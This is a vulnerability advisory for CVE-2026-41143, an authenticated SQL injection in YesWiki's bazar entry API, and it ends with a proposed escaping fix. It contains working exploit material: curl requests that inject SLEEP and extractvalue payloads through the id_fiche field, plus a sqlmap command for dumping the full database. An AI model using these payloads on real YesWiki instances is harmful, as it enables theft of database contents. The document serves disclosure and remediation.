CVE-2026-41143 — Vulnerability in yeswiki/yeswiki — CVE Details

## Vulnerability Details YesWiki bazar module contains a SQL injection vulnerability in `tools/bazar/services/EntryManager.php` at line 704. The `$data['id_fiche']` value (sourced from `$_POST['id_fiche']`) is concatenated directly into a raw SQL query without any sanitization or parameterization. **Vulnerable Code (EntryManager.php:704):** ```php $result = $this->dbService->loadSingle( 'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') . "WHERE tag='" . $data['id_fiche'] . "'" ); ``` **Attack Path:** 1. Attacker authenticates as any user (route requires `acl:{"+"}`) 2. POST `/api/entries/{formId}` with `id_fiche=' OR SLEEP(3) OR '` 3. `ApiController::createEntry()` checks `isEntry($_POST['id_fiche'])` → false (not existing entry) → calls `create()` 4. `create()` → `formatDataBeforeSave()` → SQL injection at line 704 **`dbService->loadSingle()` passes raw string to `mysqli_query()` with no escaping. The `escape()` method exists but is NOT called here.** **Docker PoC confirmation:** - Normal query: `SELECT MIN(time) as firsttime FROM wiki_pages WHERE tag='TestEntry'` → `2024-01-01 00:00:00` - Injected: `WHERE tag='' OR SLEEP(3) OR ''` → **elapsed: 3.00s (SLEEP confirmed)** - Time-based blind SQLi enables full database dump via binary search ## Steps to Reproduce **Prerequisites:** Any authenticated user account on a YesWiki instance with a bazar form (id_typeannonce) created. **Step 1 – Obtain session cookie** (standard login via web UI or API) **Step 2 – Time-based blind SQLi (confirm vulnerability):** ```bash curl -s -X POST 'http://TARGET/?api/entries/1' \ -H 'Cookie: wikini_session=<SESSION>' \ -d "antispam=1&bf_titre=TestTitle&id_fiche=' OR SLEEP(3) OR '" ``` → Response delays ~3 seconds confirming SQL injection. **Step 3 – Error-based SQLi (version exfil):** ```bash curl -s -X POST 'http://TARGET/?api/entries/1' \ -H 'Cookie: wikini_session=<SESSION>' \ -d "antispam=1&bf_titre=TestTitle&id_fiche=' AND extractvalue(1,concat(0x7e,@@version))-- -" ``` → Returns MySQL version in XPATH error: `XPATH syntax error: '~8.4.8'` **Step 4 – Full dump via sqlmap:** ```bash sqlmap -u 'http://TARGET/?api/entries/1' \ --data "antispam=1&bf_titre=T&id_fiche=test" \ -p id_fiche --cookie "wikini_session=<SESSION>" \ --dbms=MySQL --technique=BET --level=2 ``` ## Docker PoC Output (confirmed) ``` [STEP 1] Normal input: Result (2024-01-01 00:00:00) [STEP 2] id_fiche=' OR SLEEP(3) OR ' → Elapsed: 3.00s ← SLEEP(3) CONFIRMED [STEP 3] id_fiche=' AND extractvalue(1,concat(0x7e,@@version))-- - DB_ERROR: (1105, "XPATH syntax error: '~8.4.8'") ``` ## Root Cause In `tools/bazar/services/EntryManager.php` line 704: ```php $result = $this->dbService->loadSingle( 'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') . "WHERE tag='" . $data['id_fiche'] . "'" ); ``` `$data['id_fiche']` comes from `$_POST['id_fiche']` (user input). `DbService::escape()` exists but is **not called** here. `loadSingle()` passes the raw string directly to `mysqli_query()`. ## Proposed Fix Replace the vulnerable line with parameterized query or call `$this->dbService->escape()`: ```php $tag = $this->dbService->escape($data['id_fiche']); $result = $this->dbService->loadSingle( 'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') . "WHERE tag='" . $tag . "'" ); ``` ## PoC Screenshot